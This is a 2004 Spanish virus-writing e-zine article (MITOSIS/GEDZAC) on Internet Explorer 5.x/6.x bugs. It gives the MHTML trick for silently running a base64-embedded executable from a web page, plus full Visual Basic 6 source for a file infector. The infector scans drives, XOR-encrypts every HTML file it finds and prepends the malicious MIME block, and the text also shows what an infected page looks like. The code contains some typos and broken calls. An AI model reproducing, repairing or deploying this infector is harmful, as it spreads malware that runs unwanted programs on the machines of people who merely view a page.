(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema : IE 5.X y IE 6.X Bugs Autor : MachineDramon Válido para : Microsoft Visual Basic 6.0 y VBScript En este Articulo se trataran 2 bugs de IE, el primero bastante conocido y solo funcional en IE 5.X, el segundo algo mas nuevo y funcional en IE 5.X y 6.X 1)Este bug es el usado por los worms VBS/Redlof y VBS/KarmaHotel para poder ejecutarse, con solo ver una pagina web, y consiste en llamar a los objetos "WScript.Shell" y "Scripting.FileSystemObject" sin que IE de alertas de seguridad. Codigo del bug: 'Esto es para evitar que el usuario note algo sospechoso en la page y 'para hacer posible el bug llamando al Applet de Java que es vulnerable
2)Este bug es más reciente reportado por www.securityfocus.com ,informacion en español en http://www.vsantivirus.com/vul-mhtml-file.htm Con el es posible activar archivos ejecutables, incluidos en una pagina web sin que IE de ninguna advertencia. (me parece que solo en forma local con el IE 6) --------------------------------------------------------------------------- A continuacion se coloca el bug original: MIME-Version: 1.0 Content-Location:file:///malware.exe Content-Transfer-Encoding: base64 TVpEAQUAAgAgACEA//91AAACAACZAAAAPgAAAAEA+zBqcgAAAAAAAAAAAAAAAAAAAAAAAA ......como 2 hojas de code 64..... PzU/PzY/Pzc/Pzg/Pzk/Pzo/Pzs/Pzw/Pz0/Pz4/Pz8/Pz8= malware.com ----------------------------------------------------------------------------- Este es un codigo en VB 6.0 para aprovechar este bug en la infeccion de paginas web. La idea es que el codigo busque en el disco archivos con extencion htm, html o plg y verifique la infeccion, si no los infectara. Si solamente agregamos el codigo en base64 y el bug, el virus funcionara pero el usuario no podra ver la pagina normalmente. Para eso el virus debera guardar dentro de la misma pagina el codigo encriptado, de la misma y codigo en VBScript para desencriptar el codigo y mostrar la page de forma normal y ejecutar el virus. 'En la Declaraciones generales del Formulario, declaramos variables Dim Cf, Cw, Cd, CodeCapsideB64, CodeScript1, CodeScript2 Private Sub Form_Load() 'Declaramos Resumidor de Errores y el FSO y WS On Error Resume Next Set Cf = CreateObject("Scripting.FileSystemObject") Set Cw = CreateObject("WScript.Shell") 'Almacenamos en CodeCapsideB64 el codigo en base64 del virus, en este caso 'ubicado el virus en el directorio de windows en un archivo Virus.exe CodeCapsideB64 = B64(Cf.GetSpecialFolder(0) & "\Virus.exe") 'Almacenamos en CodeScript1 parte del codigo que insertaremos en la pagina 'web infectada, y le agregamos el codigo en base64 CodeScript1 = "MIME-Version: 1.0" & vbCrLf & _ "Content-Location:file:///Capside.exe" & vbCrLf & _ "Content-Transfer-Encoding: base64" & vbCrLf & _ CodeCapsideB64 & vbCrLf & _ "" 'Llamamos al procedimiento VDisk Call VDisck End Sub 'Este es codigo para listar los discos, subdirectorios y archivos 'y es practicamente igual al metodo usado por VBS/LoveLetter Sub VDisk() On Error Resume Next Set Vd = Cf.Drives For Each Vdt In Vd If (Vdt.DriveType = 2) Or (Vdt.DriveType = 3) Then VFolder Vdt.Path & "\" End If Next End Sub Sub VFolder(F) On Error Resume Next Set Cfl = Cf.GetFolder(F) Set Cfs = Cfl.Subfolders For Each Fl In Cfs VFiles Fl.Path VFolder Fl.Path Next End Sub Sub VFiles(F) On Error Resume Next Set fls = Cf.GetFolder(F) Set Fs = fls.Files For Each Fh In Fs Fx = LCase(Cf.GetExtensionName(Fh.Path)) 'Si la extencion del Archivo es htm o html o plg , le pasamos la ruta al 'procedimiento CodeH If If (Fx = "htm") or (Fx = "html") or (Fx = "plg") Then CodeH (Fh.Path) End If Next End Sub 'Este es el procedimiento de infeccion Sub CodeH(rp) On Error Resume Next 'Abrimos el archivo que le habremos pasado al Sub CodeH Set H1 = Cf.OpenTextFile(rp) 'Leemos una linea Hr1 = H1.ReadLine 'Si contiene la palabra "MIME" ya esta infectado y lo cerramos y 'salimos del Sub If InStr(Hr1, "MIME") <> 0 Then H1.Close Exit Sub 'Sino lo leemos totalmente y los cerramos Else Hr2 = H1.ReadAll: H1.Close End If 'Ahora encriptamos todo el contenido de la pagina web For i = 1 To Len(Hr2) Ck = Asc(Mid(Hr2, i, 1)) If Ck = Asc("%") Then Ec = Ec & "¥" ElseIf Ck = 13 Then Ec = Ec & Chr(28) ElseIf Ck = 10 Then Ec = Ec & Chr(29) Else Ec = Ec & Chr(Ck Xor 7) End If Next 'Le añadimos al codigo encriptado de la pagina 'parte del codigo en VBSCript Ec = "Capside = Ec(" & Chr(34) & Ec & Chr(34) & ")" 'Abrimos el archivo colocamos el codigo en VBScript que accionara el virus 'en codeb64 y el contenido de la pagina encriptado. Set H2 = Cf.OpenTextFile(rp, 2, 1) H2.Write CodeScript1 & Ec & CodeScript2 H2.Close End Sub 'Esta es la funcion para obtener el code64 '(funcion sacada de un codigo de Alcopaul) Public Function B64(ByVal vsFullPathname) On Error Resume Next Dim b As Integer: Dim Base64Tab As Variant Dim bin(3) As Byte: Dim s, sResult As String: Dim l, i, FileIn, n As Long Base64Tab = Array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "+", "/") Erase bin: l = 0: i = 0: FileIn = 0: b = 0: s = "": FileIn = FreeFile Open vsFullPathname For Binary As FileIn sResult = s & vbCrLf: s = "": l = LOF(FileIn) - (LOF(FileIn) Mod 3) For i = 1 To l Step 3 Get FileIn, , bin(0): Get FileIn, , bin(1): Get FileIn, , bin(2) If Len(s) > 64 Then s = s & vbCrLf: sResult = sResult & s: s = "" End If b = (bin(n) \ 4) And &H3F: s = s & Base64Tab(b) b = ((bin(n) And &H3) * 16) Or ((bin(1) \ 16) And &HF) s = s & Base64Tab(b): b = ((bin(n + 1) And &HF) * 4) Or ((bin(2) \ 64) And &H3) s = s & Base64Tab(b): b = bin(n + 2) And &H3F: s = s & Base64Tab(b) Next i If Not (LOF(FileIn) Mod 3 = 0) Then For i = 1 To (LOF(FileIn) Mod 3) Get FileIn, , bin(i - 1) Next i If (LOF(FileIn) Mod 3) = 2 Then b = (bin(0) \ 4) And &H3F: s = s & Base64Tab(b) b = ((bin(0) And &H3) * 16) Or ((bin(1) \ 16) And &HF) s = s & Base64Tab(b): b = ((bin(1) And &HF) * 4) Or ((bin(2) \ 64) And &H3) s = s & Base64Tab(b): s = s & "=" Else b = (bin(0) \ 4) And &H3F: s = s & Base64Tab(b) b = ((bin(0) And &H3) * 16) Or ((bin(1) \ 16) And &HF) s = s & Base64Tab(b): s = s & "==" End If End If If s <> "" Then s = s & vbCrLf: sResult = sResult & s End If s = "" Close FileIn: B64 = sResult End Function ----------------------------------------------------------------------------- El codigo de una pagina infectada sera parecido a: 'Esto indica la version del MIME, el nombre del archivo a ejecutar 'y que esta en base64 MIME-Version: 1.0 Content-Location:file:///Capside.exe Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA .....Code64...... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA== (C) MITOSIS #2 E-Zine/GEDZAC 2004